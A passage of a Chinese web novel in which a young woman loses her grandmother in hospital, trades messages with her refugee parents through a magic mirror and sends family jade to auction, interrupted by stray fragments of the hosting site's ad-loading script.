“治疗方面你不用担心,我们vip病房有最好的医生和护士。当然,如果你有其他需要,也可以向我们提出,我们的服务宗旨是一切以病人为中心!” 袁淼瞠目结舌,光单间病房的住院费就要880元每天!星级酒店的收费标准差不多是这个数了! 套间每天1880元!这还只是住院费!真正的大头还在治疗那一块! 如果不是谢云溪告知,袁淼还不知道一个住院还有这么多门道。 好在她才得了一百六十多万,这些费用还是能承受。 重症监护病房每天只有两个小时的探视时间,其他时间她连人都见不到,什么情况一概不知。 她不想这样,奶奶是她在这个世界唯一的亲人,这种时候她想和她在一起。 袁淼跟着vip主任来到vip病房,单间病房在住院部的21楼,偌大一层楼,也就只有十间病房,环境优雅,房间内厨具沙发茶几一应俱全。 22楼则是套间病房,共有五套,每套俨然就是个宽敞明亮的的二居室,真皮沙发、实木家具、名牌厨具等,陈设齐全豪华,完全可以拎包入住。 病人的房间设备齐全,护士的工作台就在病床旁边。 环境优雅清净,比杂乱的重症监护病房不知道好了多少。 袁淼一眼就看中了。 “陈主任,我选套间病房。” “好!我马上安排转科!不过,我们VIP病房需要提前交一部分费用。” “您放心!我马上去交!” 医院开门营业也要讲效益,Vip病房条件这么好,收费不菲,如果遇上了逃费,那就亏大了。 跟陈主任谈完话后,袁淼交了二十万元的押金。 高收费下的服务高效优质,袁奶奶很快就从重症监护病房转到vip病房。 袁博文和谢云溪这天心情起伏,跟袁淼联系完后,他们就开始处理传递过来的物资。 从沔州出来时,他们赶了两辆马车,一辆乘人,一辆拉货。白天赶路,晚上歇息,三个男丁轮流守夜。 谢云溪身体不好,乘坐的马车自然是拉人,有时候丫鬟念荟也在这辆车上休息。 袁淼传递过来的物资不少,但是大白天不好搬来搬去。马车外面难民云集,一不小心露了眼,就是大大灾祸。 饿极了的人,什么事都干的出来。 袁博文和谢云溪一个是老师,一个医生,深知人性经不起考验,便把米和油等大件藏在马车的隔板下,其他小件则用被子衣裳等遮盖,勉勉强强放下了。但经不起仔细打量。 “要不要跟念荟说一声?”谢云溪问。 袁博文摇头:“这几天就让她在那边马车上歇息吧。” 现代的物资太扎眼了,即便是最普通的大米也比这里的精细许多,更别说其他。家里的下人虽然忠心,但见到了难免会多想。 世情变化难测,还是小心谨慎为好。 谢云溪点头,“要不,你跟他们说,我的病有可能会传人,让他们都小心点,这几天就别靠近了?” 这样的话,女儿传递过来的物资就更安全了。 袁博文想了想,“好,我一会去找于郎中给你抓点药,熬药的时候味道大,刚好可以张罗点吃食。” 他们从沔州出来已经有几天了,除了头两天能吃上热乎的饭菜外,后面都是简单对付了事。 现在,谢云溪的病虽然有药了,但如果营养跟不上,也会影响病程进展。 眼下处境,不好大张旗鼓起灶架锅,但可以在马 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 车上偷偷烧点吃喝。 夫妻俩商量好后,袁博文下了马车,把丫鬟念荟和小子袁归叫了过来。 “夫人的病恐怕不仅仅是风寒入侵,有可能会过人,你们这几天得仔细些,免得也传上了。眼下处境,我们不能再添一个病人。我前不久才患过同样的病症,能抵抗,这几天夫人那边就由我照看。” “袁归,你一会就找于郎中买些药,就照我上次的方子来!” 袁归去买药了。 念荟犹豫了一会开口:“老爷,我身体好,我不怕得病!还是让我来照顾夫人吧……” 袁博文看了念荟一眼,这丫头跟了他们三年,谢云溪待她很好,几乎当半个女儿在养,眼下看出人品了。他微笑说:“你另有要紧事做,袁归的药买回来后,由你负责煎药。” 念荟得了事,赶紧去忙了。 煎药的药罐自然是没带,但好在煨汤的罐子有两个。夫人爱干净,需得把罐子多洗几次,烧过热水去去味了才好煎药。 袁博文避开其他人视线从另一辆马车上取了仅剩小半袋的粟米和一些菜,交给谢云溪。 谢云溪打开大米的袋子,从里面抓了一把米出来,白花花的大米还没进锅就能闻到一股清香,与另一个袋子泛黄的粟米成鲜明对比。 “好久没有吃这么香的米了。”谢云溪不由得感叹。 他们定居的沔州位于大顺的西北一袋,民众普遍以粟米为食。他们刚到这里时,并不觉得不适应,不过,时间久了,就想念起了现代的主食大米。 可惜,产出大米的水稻在南方一带,西北一带的米粮店虽然有售,但价格要昂贵许多。 袁博文将两种米混合了,盛了一碗出来:“还是熬粥吧。” “好。” 谢云溪又将腊肉和菜各拿了一些出来,细细切碎。袁博文则到河边打了半桶水,用自制的过滤器过滤。 一会后,袁归回来了,念荟开始熬药了,随着药香的溢出,谢云溪手边的罐子也开始冒出了气泡。 9. 第 9 章 药熬好了,罐子里的粥也熟了,里面不仅有大米和粟米,还加了切得细碎的腊肉和青菜,盖子一开,香气扑鼻而来。 谢云溪舀了两碗出来,剩下的交给袁博文,让他拿到那边马车上。 念荟端了药过来,谢云溪也没喝,敞开放着,夫妻俩借着浓郁的药香,把两碗粥喝得精光。饭足,又挂念起女儿袁淼,不知道她那边怎么样了。 另一辆马车上,福伯和袁归也在喝粥。 “真香!” “里面还有肉!” “好久都没有吃到这么好吃的东西了!” “哎,袁归,你不是说外面现在没有粮食卖了吗?” “反正我问了一圈,没有买到!” “还是老爷有办法啊!”福伯感叹。 袁归点头附和。 他们俩也跟了袁家夫妻多年,见多了俩人许多能耐,对他们极为推崇,似乎任何问题轮到他们面前都会迎刃而解。 念荟掀开了马车帘子。 袁归招呼:“快来喝粥!今天的粥可香了!” 念荟在马车旁边就闻到了香,“你们快些吃,那边有人过来了!” 袁归和福伯赶紧几口喝完了下车,念荟抱着药罐站在马车旁边。河堤那边乌压压过来一群人,皆是衣衫褴褛,形容憔悴。 袁归连忙把念荟手中的药罐抱了过来,推着她上了马车。 流民越来越近,一位骨瘦如柴的妇人带着二个五六岁的孩子凑过来:“少爷行行好,给我们点吃的吧!” 袁归早就被袁博文招呼过,当下皱着眉头挥手赶人:“去去去,没有没有!” 妇人又带着孩子来到了袁博文和谢云溪乘坐的马车旁,还没开口,就听到马车里面一阵撕心裂肺的咳嗽,空气中的药味还没散去。妇人赶紧拽着孩子们离远了些。 这时节患了病可就只剩死路一条了。 流民蹒跚着前行,妇人总算是在一辆马车上讨到了二块饼,才接过,还没进嘴,就被旁边的人抢了去。 马车帘子一下被掀开,一个十二三岁的俏丽女孩脆声道:“你们干什么?还不把东西还给她?” 但她已经说晚了,抢到饼的那人已经几口就把饼吞肚子里了。 妇人哀哀哭起来,又求女孩:“小姐行行好,再给我们一张饼吧!我们已经几天没有吃东西了!” 流民群好几个人都过来了,一叠声叫小姐行行好,还有人跪在马车前,磕起头来。 女孩显然是没料到这场面,一下愣住了。马车里有女子细声说:“菊香,你把这篓饼给他们,让他们分了吧。” 女孩应了一声,接过篮子:“行了行了,你们别叫了!”说着,就开始分饼。 原本就有许多人注意这边,这下都蜂拥过来,守在马车旁边的婆子都被推到了一边。 那篮子不过是怀抱大小,里面也就只有十来块饼,还没等分完,篮子就被抢走了。 女孩傻眼了,周围的人并没见散去,反而越来越多,马车也被挤得摇晃了起来,还有人在叫:“小姐行行好,再给我们一点吃的吧!” 女孩哪里还有?正要说话,不防有人突然伸手拽了她一把,她一个踉跄跌下车来,还没来得及站稳,旁边的人一下钻进了马车里。 马车里面传来了一阵惊慌尖叫。 好在这家的男丁和下人就在附近,见状都过来了,连踹带打,才将蝗虫似的难民赶开。 原本齐整的马车溅了血,分饼的小丫头被踩了几脚,头发乱了,上面的珠翠也不知道被谁拨了去,慌慌张张扑到马车旁边。 “小姐!小姐!” 掀开帘子,里面面容秀丽的小姐蜷缩在角落索瑟瑟发抖。只这片刻间,小姐头上的珠翠,脖子上的金镶玉都不见了。马车里面一片狼藉。 袁家的马车就在不远处,袁博文和谢云溪都看到了这一幕。谢云溪说:“崔家这位大小姐怕是吓得不轻。” 袁博文点头:“以后这样的事情恐怕会越来越多。” 谢云溪沉默了。到郴州还有十来天,现在乱象已经出现,以后只怕会越来越难。 “我去找玉瑾商量商量,咱们两家一起走吧。” 袁博文所说的玉瑾姓庄,单名炜,字玉瑾,与他是同一届的举子,只不过对方止步乡试,袁博文却以第三名的成绩高中举人。 袁家夫妇是白手起家,庄家则小有薄产,两人相处默契。袁博文知道对方的人品,当下处境两家结伴也算是有个照应。 他下了马车,找到庄炜,说起崔家今天发生的事。庄炜叹气说:“以后只怕会越来越难啊。” 袁博文点头:“我与夫人说起,她也是这般认为。” 庄炜与谢云溪早见过面,知道袁博文与她伉俪情深,“你夫人身体好些吗?” “好多了。” “那就好。”如今处境,如果生病,无疑雪上加霜。 “庄兄,如今日这样的事情以后说不定还会再有,不如我们两家结伴同行?你看怎样?”袁博文问。 庄炜略一愣后,点头赞同:“好!这样我们也能相互照应!” 说定后,袁博文离开了,庄炜来到一辆马车前,行过礼后,说:“母亲,刚才子虚来说,想与我们结伴同行。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 马车帘子掀开,庄老夫人怀里抱着一个四五岁的白胖小儿,儿媳周氏坐在旁边。 “你答应了吗?这个自然是好,如此我们两家正好有个照应。” “儿子答应了。” 庄老夫人旁边的儿媳周氏问:“他家夫人身体好些了吗?” “我问过子虚。好些了。” 婆媳俩都露出了笑容,她们与谢云溪私下交情也不错。刚才崔家发生的事情,她们也看到了。那妇人牵着孩子到处乞讨时,周氏也生了怜悯,被婆婆教训后方才打消,事后发生的一幕着实叫她心惊,到底姜还是老的辣,这境地的良善一不小心就会招来祸乱。 “还有十来天才到郴州,这一路上你要安排好,咱们的人多是女人孩子,可容不得闪失。”庄老夫人交待儿子。 “是。”庄炜应下后便去安排了。 很快到了启程的时候,两家人打了个招呼后,一前一后向西北重镇郴州出发,天将黑下时才停下来了。 谢云溪一直没放下镜子,虽然知道女儿很忙,但依旧期盼能看到她,一直等到夜深人静了,镜面上才有动静。 “淼淼!” 看到母亲,袁淼也露出了笑容,把袁奶奶转到了vip病房的事情告诉她。 谢云溪很欣慰,但随之而来的又是心酸,他们离开时娇气的女儿连面都煮不好,再见却变成家里的顶梁柱,其中艰辛可想而知。 袁博文也上了马车,询问母亲病情。袁淼有些犹豫,她觉得并不很好,但眼下情况说出来除了让父母担忧外,没其他好处。 “医生说奶奶今天很稳定。” 袁博文松了一口气,脸上的笑也出来了:“那就好!有什么困难,你一定要跟我们说。” “好……奶奶也可以在镜子里面看到你们吗?” 袁博文摇头:“你想把镜子带到医院去?” 袁淼确实有这个想法,她知道奶奶一直牵挂着父母。 “你带过去没用,我们当时请大师施法时只报了你的生辰八字。” 通界宝镜虽说是能让骨肉相见,但不是人人都有机会,只能选择骨肉至亲中的一个,袁博文夫妇当初考虑到袁奶奶年纪不小了,便选了女儿袁淼。 袁淼很失望,不知道自己告诉奶奶,她会不会相信?不过,现在人都没醒,想这么多没用。她又打起了精神,把医院的安排和治疗告诉了父母。 谢云溪就是医生,听完后点头:“他们的方案很好,换了我在医院,做法差不多。” 时间不早了,袁淼还要去医院去陪护,又匆匆说了几句后,便把镜子又蒙了起来。 10. 第 10 章 袁淼来到了医院,袁奶奶依旧昏迷不醒。她在病床旁边坐下来,摸了摸袁奶奶的手和脸,低声说:“奶奶,你要早点好起来!” “我见到爸爸妈妈了,他们都很好……他们很想你,等你出院了,我带你去见他们。” 袁奶奶一动不动。 袁淼想起了通界宝镜,能互通有无传递物品,不知道能不能传递活物,如果能,那人应该也没问题吧?人都能传,她爸妈还用得着等这么久?显然她想多了。奶奶虽然见不到爸妈,但她可以转达,传递物品是可以见到的,说服奶奶相信其实并不是一件很难的事。 护士更换了即将输完的液体,让袁淼去休息,病人身边有她,如果病情有变化,她会及时通知袁淼。 袁淼并不想睡,但身体的困倦由不得人,守在床边不知不觉趴下了,迷迷糊糊中做起梦来,一会在新江市的老房子里,一会到了高中时候的校园,一会又看到了袁奶奶,穿着深色老式旗袍,搭配了真丝披肩,站在约莫十几米远的地方,笑得格外慈祥。 “奶奶!”袁淼惊喜朝她过去,走了几步,袁奶奶突然抬起手,摇了摇,笑眯眯也不说话,转身就走了,很快不见身影。 “奶奶!”袁淼要追,一下从梦中惊醒。病房里只有她跟护士,夜已经深了,监护仪的声音格外清楚,她摸了摸头上的汗,转身去卫生间洗了个脸,对着镜子看时,又想起了通界宝镜,不知道爸妈现在在干什么?那个世界现在也是晚上吗? 正想着,突然听到了刺耳的声音。她连忙出去,原本坐在工作台前的护士也动了起来,看了看监护后,迅速爬上了病床,开始按压袁奶奶的前胸。 袁淼傻了,变化来得太突兀,她不知道能干什么该什么。 医生很快就来了,他们开始抢救。其中一位护士小声请求袁淼离开,病房的空间并不大,进来的人太多了。袁淼被请到外面,惶惶然不知道怎么办才好。 时间过得很慢,等到病房的门再次打开,她感觉一个世纪都过去了。 医生面色黯淡,摇了摇头:“袁小姐,对不起!” 袁淼愣在当场,一会后才反应过来,进到病房里,护士正拉了被罩盖住袁奶奶的头。袁淼一下崩溃了,眼泪止不住往下流。 护士劝解节哀,接下来他们有一些临终护理要做。袁淼哽咽着说:“可不可以等一等?” 护士面露为难,但还是同意了。她走后,袁淼哭出了声,从此,这个世界她一个亲人都没有了。 楼上的豪华套间病房里,坐在沙发上看书的男人抬起了头,镜片下的清冷眸子带上了疑惑。 “楼下是不是有新病人入住?”他问道。 静静站在旁边的助手回答:“是的,昨天下午入住,刚刚去世了,叫周玉兰,年纪七十三岁,急性脑出血。”寂静夜里的哭声,他也听到了,“她儿子媳妇失踪多年,一直跟孙女生活在一起。” 顿了顿后,他又说:“要不要跟医院说一声……” 沙发上的男人没等助手说完,便抬手阻止了,站起身来,走到窗边。夜如墨黑,楼下的哭声悲戚,一如微光萤火,断断续续,压抑且悲伤,似乎下一刻便会泯于黑暗。 袁淼也不知道自己哭了多久,护士进来了,低声劝解节哀,天气炎热,尸体不能久放,她们要赶紧接下来的处理。袁淼这才让开,与护士一道清洗整理,又跟着平车来到了太平间。 接下来的丧事才是重点,袁淼什么都不会,太平间的工作人员指点,叫赶紧准备东西。袁淼连忙打车回到家里,揭开镜面上的布幔,还没说话,眼泪就掉了。她连忙擦掉,按照谢云溪先前所教轻轻敲了三下镜面。 镜面上的波纹散开后,谢云溪出现了。 “妈,奶奶……刚才走了……” 谢云溪怀疑自己听错了,连忙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 把马车外面的袁博文叫进来。 袁淼哽咽着把病房发生的事情告诉了父母。 袁博文的眼圈红了,强忍着没让眼泪掉下来。谢云溪则已经哭出了声。 “怎么这么快?不是说……很稳定吗?” 袁淼也不知道,谢云溪拉住袁博文,她在医院多年,这样的情况见过好几次。人其实早就不行了,只靠一口气撑着。婆婆大约是知道了他们还活着,孙女有了仰仗了,心愿了了,便放心去了。 “淼淼,太平间的人怎么说?” “他们让我赶紧准备东西……”袁淼把工作人员的话告诉了爸妈。 袁博文强做镇静:“他们怎么说,你就怎么做,衣服不用买,你奶奶身前最喜欢那件深色旗袍,你把它带过去……” 袁淼记下了父母的交待后忙开了,天亮后给亲朋好友打电话。她在这个世界上已经没有亲人了,但奶奶和父母有几个交情不错的朋友同事,他们安慰她,并表示要过来帮忙。袁淼婉拒了,但袁奶奶是要落叶归根的,新江市那边要提前准备起来。她把这些拜托给了他们。 她也给沈若君打了电话后,没多久沈若君就和她哥沈若臻来了。 “怎么这么突然?不是说手术很成功吗?” 袁淼不知道该怎么回答这个问题,沈若君又说:“接下来怎么办?需要我们做什么,你只管说!” 在一边的沈若臻点头。 “是的,淼淼,你还有我们!” 袁淼鼻子发酸:“谢谢!”她确实需要帮忙。说了接下来要做的事情后,三人都忙开了。 袁淼拿了几样东西先去医院,电梯里人不少。她赶时间挤了进去,上到高层后,人少了,她出去的时候,电梯里面只剩下了二个人。匆匆一眼,穿着西装戴着眼镜的男子清冷矜贵,幽深的眸子看过来。似乎见过。然而,她实在太忙,念头只在心里一闪而过。 11. 第 11 章 两天后,袁淼带着袁奶奶的骨灰回到了新江市,祭奠的棚子已经搭建起来,就在老房子单元楼旁边。老家这方面规矩多,袁淼不敢怠慢。好在沈若君一直陪着她,沈若臻也在帮忙。 祭奠的人来来往往,到了最后的一天,锦园小区开进来一辆黑色迈巴赫,典雅车身引得好些人侧目,从车上下来的年轻男子一身经典黑西装,身形完美,虽然带着墨镜,仍然可以看出长相出众。 他进了祭棚后,看了袁淼一眼。 袁淼正在烧纸钱,沈若君轻轻拐了拐她,低声说:“他怎么来了?” 袁淼其实已经看到了来人,她的前男友徐清阳。果然有钱了,气势都不一样。前尘往事已经过去,她很平淡。来者是客,对方上了香,她便回敬了一鞠躬。 后面又有人来悼念,袁淼一样回谢。徐清阳站了片刻,走了。 中午袁淼和沈若君吃饭的时候,徐清阳进来了,原本说着话的沈若君突然禁声,在他的注视下败下阵来,悄无声息出去了。 “为什么不告诉我?”徐清阳问。 袁淼没吭声,过去的已经过去了,没有干系的人自然没有联系的必要。她站起来要走,徐清阳拉住了她:“淼淼!” 袁淼回头看了看自己的手,抽出:“抱歉,我还有事!”走到门口的时候,她听见徐清阳又说:“你辞职吧,我养你!” 袁淼不知道他哪里来的底气说这样的话,从前在一起的时候,她倒是有过类似的唠叨。才入职场,处处荆棘,她说:等你发达了,我就辞职不干!你养我!但那时他们是一对,而现在他已经有了新欢。 这样的话从她嘴里出来的时候她都觉得不可能,现在更觉得荒谬。这是要把自己当金丝雀吗?那么多年的时光,原来是自己看走眼了。 袁淼拉开门出去,忙起来的时候只顾得上眼前的事了。次日袁奶奶入土为安后,她就和沈家兄妹一同返回了魔都。把出租屋整理一番,袁淼又去超市买了不少东西。到晚上才有时间跟父母说话。 镜子里的袁博文和谢云溪都穿着白色衣裳,面容寡淡憔悴。这几天他们也很不好过,女儿要回老家办丧事,镜子搬来搬去容易出事,他们已经有好几天没见到女儿了,也不知道事情办得怎么样? 袁淼把这几天发生的事情捡重点告诉了爸妈,又问:“上次传过去的东西,是不是用完了?” “还有。”只是不多了。谢云溪问:“你手上的钱还够用吗?” “够。” 准备好的住院费基本没用,办丧事虽然用出去了一点,但人情也收了些回来,两下里差不多抵消了。欠沈若君的钱也已经还了。袁淼现在手上除了有一百多万的存款外,还有八个金元宝和二件玉器。保守估计,资产已经上了千万。 “你把我们上次给你的两件玉器交给拍卖行拍卖,要尽快换个地方住,不能总租房。” 与人合租本来就存在安全隐患,现在又只剩下一个人,年纪轻轻的单身女孩太不容易了。 袁博文交待女儿:“新房子不要买很大,安全最重要。” 他们倒是想让女儿跟好朋友一起住,但目前的情况下,更合适的还是单独住,否则叫人看见女儿对着镜子自言自语,把她当成精神病都算是很好了。 袁淼答应了,把今天在超市买的东西提过来,给爸妈看。 谢云溪连忙说:“不用传过来了,我们还有。” 袁博文也说:“我们这边形势不太好,这些东西先放你那边,等我们用完了你再传过来。” “好。”袁淼不敢想象从父亲嘴里说出形势不好是有多不好,他一向是个很能稳住的人,“你们……不要紧吧。” 袁奶奶已经过世,她现在只有镜子里的父母了。 “目前还好,你不用担心。奶奶的遗像带过来了吗?” 袁淼点头,把袁奶奶的遗像拿给父母看,谢云溪的眼圈瞬间红了,袁博文眼里也有水光在闪,他强忍着教女儿怎样摆放和祭奠,末了,谢云溪又拿出一个匣子。 “淼淼,这里面除了首饰和金银以外,还有些银票地契,现在也放你那边。首饰金银之类你想卖就卖,想用就用,银票和地契你保管好,等我们到了郴州,你再给我们。” 袁博文交待:“这些东西你要找个稳妥的地方放好。” 他不说袁淼都知道,匣子里的东西大约是父母在那边多年的积蓄,更验证了那边的形势有多不好。 联系完后,袁淼仔细研究才到手的匣子,竟然有三层,最上面的放了银票和地契,银票共有一万多两,地契除了房产和铺子外还有百余亩地。 首饰则各种各样的都有,零零总总三四十件,以玉最多。每一样都很漂亮。最底下一层则是金银,十两的金元宝有十二个,份量不等的金锭也有十六个,光这些金子加起来就有三百二十两了。 袁淼瞠目结舌,没想到爸妈的家底这么厚。但想到这些是他们在另一个世界的全部,又觉得差不多。她爸主意多,执行能力强,意志又坚定,当老师那会就喜欢折腾。要不是有奶奶管着,说不定早辞职了。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >袁淼看过后就开始藏东西了,找了许久,瞄准了厨房的天花板,把前后收到的两个匣子都放到了上面。 跟女儿联系后,袁博文夫妇也没闲下来,把马车上剩下的东西整理了,食物之类的还有一天左右的量,药倒是还有不少,这些都不能过人眼,他们也找了个稳妥的地方藏了起来。 现在形势越来越乱,今天就有户人家被抢了,抵抗的男丁也被打伤。难民现在开始聚集成团队了,打量他们的目光跟狼一样。庄袁两家虽结伴同行,但也半点都不敢懈怠。袁家的人不多,庄家也只有三辆马车一辆板车,主仆加起来十来人,而且多是女人和孩子。 原本是两家各出一个人一起守夜,现在变成了四个。只是这样安排人疲马乏,真出事了也只能有个提前警示的作用。 整理好东西后,袁博文和谢云溪下了马车。天已经蒙蒙黑了,夫妻二人带着袁归找到一处僻静的地方,把先前准备好的纸钱拿出来,烧给另一个世界刚过世的亲人。 烟渺渺而上,夫妻二人都没说话。袁归在不远处站着,警惕盯着四周。西北的冬天来得早,九十月的寒风已经如刀,夹杂着吹过来的还有一股浓香。 袁归不由得吸了吸鼻子。竟是难得的勾人,他的口水都差点流出来了。瞧见主家大约还有一会,周围也并无人靠近。他顺着香气下了坡,绕过一处灌木后看见四五个人围在一起,中间还架了口锅,那香气就是从锅里飘出来的。 袁归觉得奇怪,这年月能有一口吃的已经十分不容易了,再富裕的人家都在勒紧裤带,精打细算。前面这伙人蓬头垢面衣衫褴褛,一看就知道是难民。竟是这般奢侈,架锅煮起了肉汤? 这汤的香气非同一般,绝对不是放了很久的。这时候哪儿来的新鲜的骨肉? 他心里疑惑,但也小心。对方人多。他悄悄又折还回去。袁博文和谢云溪已经在收尾了,袁归小声把自己的发现告诉了他们。 袁博文思量片刻:“走,我们过去看看。” 袁归领路,夫妻二人跟在他身后,来到灌木旁。那大锅已经空了,围着的难民每人捧了一碗,正喝得稀里哗啦。 围观的三人都没出声,等到他们喝完了,摸着嘴巴,带着锅离开,他们才站出来。 地上只剩下了灰烬和零散的几根骨头,谢云溪仔细看了一番后,突然干呕起来。 袁博文吓到,连忙扶住了问:“你怎么了?” 谢云溪脸色苍白,指着地上零散的骨头说:“那是人骨!” 而且还是婴幼儿的骨头! 12. 第 12 章 袁博文仔细一看,可不就是人骨!看形状大小,也就一两岁的样子。 他心里发寒。旁顾四野,夜幕渐沉,苍茫茫无边。这世道已经坏了。他站起身,牵上谢云溪:“我们走吧。” 回到营地,福伯已经点起了篝火。这夜轮到他与庄家的家丁一起守夜。 袁博文把谢云溪送上马车后过来,对福伯说:“你先去歇息,一会儿再来替我。” “老爷,我没事。”福伯拍着胸膛笑呵呵说。 袁博文心里有事,不欲多说:“去吧。” 福伯走了。袁博文往火堆里添了几根柴。从前在书本上见到的场景成了现实,乱世里人命如草芥,这还只是刚开始。大震之后必有大疫,他们想要到达的郴州未必是个安稳窝。 * 袁淼来到嘉仕达拍卖行门口,抬头看了看上面的金字招牌。这是魔都数一数二的拍卖行,来之前她在网上了解过相关信息,嘉仕达也有数百年历史了,全球各大城市都有分店,他们的拍卖形式有现场拍卖和线上拍卖两种,评价很高,但相对抽取的佣金也很高,至少要12%。 关键是嘉仕达不是什么东西都接,需要达到他们的要求,经过他们的专家鉴定认可后才能在嘉仕达拍卖行进行拍卖。 袁淼先前对谢云溪给的两件玉器信心十足,但在了解了相关信息后,心里也没底了。两件玉器的真假她不怀疑,她担心档次不够,人家拍卖行看不上。 但她要买房,手上的钱不够,魔都现在三环外都要五六万一平方,一套房少说也要四五百万,她手上的一百多万连首付都不够。 金子倒是还有,但短时间内出手太多,恐怕会招来不必要的麻烦。 袁淼来到前台:“您好,请问想要在嘉世达拍卖物品,有什么要求?” 前台小姐微笑回答:“您要参加拍卖?请跟我来。” 袁淼跟着上了二楼,前台小姐敲开了一间办公室的门。 “这是我们孙经理。” 办公室里坐着的人已经起身,笑呵呵招呼:“您好,我是孙士林,请坐!” 袁淼坐下来。 孙经理打量了她一通:“小姐贵姓?您是想在我们嘉仕达做鉴定还是拍卖?” “两样都有。听说想在嘉仕达拍卖需要你们的鉴定和认可,是吗?” 孙经理点头,笑容不减:“是的。这也是我们嘉仕达屹立百年的原因之一。想必您也知道现在科技发达,作假的手段层出不穷,我们需要对客户负责,所以经手的藏品必须保证是真的。” 袁淼赞同,百年老店受人推崇不是没有道理的,首先一个口碑必须要好。 “你们的鉴定费怎么收取?拍卖的佣金呢?” 孙经理笑呵呵递过来一本册子:“您看看,这上面都有。” 袁淼接过后翻开,画册上面罗列的很详细。孙经理也在一边解释。 嘉仕达是免费鉴定,确定真伪之后再由专家对藏品的价值进行评估,给出起拍价。顾客认可了起拍价之后他们会根据起拍价的10%进行宣传推广。 至于佣金的收取则是根据最终的拍卖价来定,五十万以内的收取拍卖价的25%,五十万至一千万的收取拍卖价的20%,一千万以上则是15%。 如果藏品流拍,还会收取百分之四的流拍费用。 在此之前还必须要成为嘉仕达的会员,购买一件百万以上的藏品才可以在嘉仕达进行拍卖活动! 贵!苛刻! 但袁淼看过嘉仕达拍卖现场的视频,他们的拍卖师确实厉害,一件藏品在他们的推动下数倍拍出的很多。 她现在跟父母联系上了,两边世界差异很大,以后父母肯定会再传东西过来,她成为拍卖行常客的几率很大。所以,成为会员很有必要,只可惜目前她手上的钱不多,区区一百多万,也不知道能不能买到心怡的东西? 袁淼合上画册:“如果不是会员,是不是就不能在你们拍卖行进行拍卖?” “以前是的,不过最近我们拍卖行正在进行全球征集活动,如果您的藏品符合我们的要求,可以不用是会员就能在我们嘉仕达进行拍卖了,只要您参加这项活动就行。” 这倒是意外之喜,袁淼问清楚活动规则之后,拿出了谢云溪给她两件玻璃种玉器。 孙经理打开盒子,脸色立 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刻变了,从抽屉取了一双手套带上后,仔细看了好一会。尤其那支碧玉簪,足足看了一二十分钟。随后他打了个电话,没多久就有位穿着唐装的中年男子过来了。 “老于,你看看这两件玉器。” 那于师傅看到桌子上的碧玉簪,眼睛都挪不开了:“帝王绿?”上手后才又改口:“满绿!玻璃种!难得!难得!你看这雕工……”他对孙经理说,“一定出自名家之手!” 孙经理也点头:“这两件玉器是这位袁小姐的。” 于师傅这才看了袁淼了一眼:“袁小姐是准备在我们嘉仕达出手这两件玉器吗?” “是的。”袁淼心里的石头落了地。 孙经理与于师傅讨论了好一会,还拿出去前几年拍卖的玻璃种玉器做例子,最后估价飘花手镯八十万到二百万之间。碧玉簪颜色纯正,快接近帝王绿了,而且雕工了得,他们估价三百万到八百万之间。 当然估价并不代表最终的拍卖价,实际上最终的拍卖价往往会超过估价,尤其这几年经济形势向好,人们对玉石的吹捧到了一个新高度,玻璃种玉器就没有少于七位数的,帝王绿那已经是传说中的东西了。 听他们讨论,袁淼也长了不少见识。既然决定了要拍卖,袁淼跟他们签了合同,飘花手镯起拍价定下一百万,碧玉簪则定下了五百万的起拍价。拍卖的时间,在一个月后的魔都嘉仕达年中盛典,在这期间他们要做好宣传册,届时袁淼也会受邀参加。 从嘉仕达出来,袁淼心情大好,时间还早,她顺便到周边的几个楼盘转了转。小户型的不多,这里已经是魔都的三环外了,新房子的单价毛坯起步至少五万,精装修的全部上了六万。 袁淼心里感叹,想要在魔都有一套房子太不容易了,要不是跟她爸妈联系上了,她大概这辈子都没希望。 看了房后,袁淼就近解决了晚餐,回到出租屋时,天已经黑了。刚要开门,她发现门锁有点不对劲。 网上单身女生被尾随的例子不少,袁淼的警惕心一直很高,每次出门都会将门锁的锁孔扭成一定角度,但现在她家门锁的锁孔完全打横了。 有人动了她家的门锁! 13. 第 13 章 袁淼心里发寒,警惕看了看四周后才开门进去。 出租屋里并没有翻动的迹象,也没有藏人。 她确认没人进来之后,才进到厨房里,把天花板上的两个匣子拿下来。 里面的东西一样没少。 袁淼这才放心。 但这里已经不安全,她得尽快搬家。 原本想着等拍卖的结果出来之后,有钱了再买,现在看来不能等了。没钱买,那就先租房,搬离这里。 决定后,袁淼又把匣子放回了远处。 这天晚上,袁淼就把去拍卖行的经过告诉了爸妈,不过出租屋门锁被动的事情没说,她不想让爸妈担心。他们那边已经很乱了,前不久已经有人被抢。她虽没在现场,但也知道这时候文明社会的规则次序已经破坏。 人类本质上就是动物,当生存受到威胁的时候,本性就会显露,发生什么事都不稀奇。 “既然还有一个多月的时间,这期间你多看几家楼盘,一定要挑了一套安全合适的。车也可以买了,你现在上班的地方距离你住的地方远吗?”袁博文问。 “还好,路上只要一个小时。”这是在不堵车的情况下。 袁博文和谢云溪心里都不是滋味,想当初他们一个在学校一个在医院,步行上班最多也就半个小时。 女儿现在的日子太难了。 “先买辆车吧。这几天就在你们单位附近找个房子,不拘大小,环境好点,安全系数高点,你先搬过去住几个月。等拍卖的结果出来之后,你再买套新房子,搬过去。” 袁博文跟袁淼的想法一样。 谢云溪说:“淼淼,妈妈第二次给你的匣子最底下一层是金子,你拿到宋记去兑换,应该能兑到一千多万,还有上次给你的金元宝,这些加起来应该可以买房了。不用等那么久!” 袁淼顿了顿:“我一下拿出这么多金子,会不会有麻烦?” 袁博文和谢云溪面面相觑。 袁博文想了想:“是不太好……要不,你多去几家?除了宋记,大福源应该也收。” 大福源是老牌银楼,至今也有百年历史了,不过,相比较宋记,它主要经营金银首饰等,影响没有宋记大,但也是全国排名靠前的奢侈品大店。 袁淼拿出一锭十两的金元宝,指着上面的字问:“这上面的庆元是什么意思?” “那是银楼的标识,庆元是大顺朝有名的银楼,第一次给你的二十两规格的金元宝出自祥和银楼,祥和银楼是这边数一数二的大银楼!” 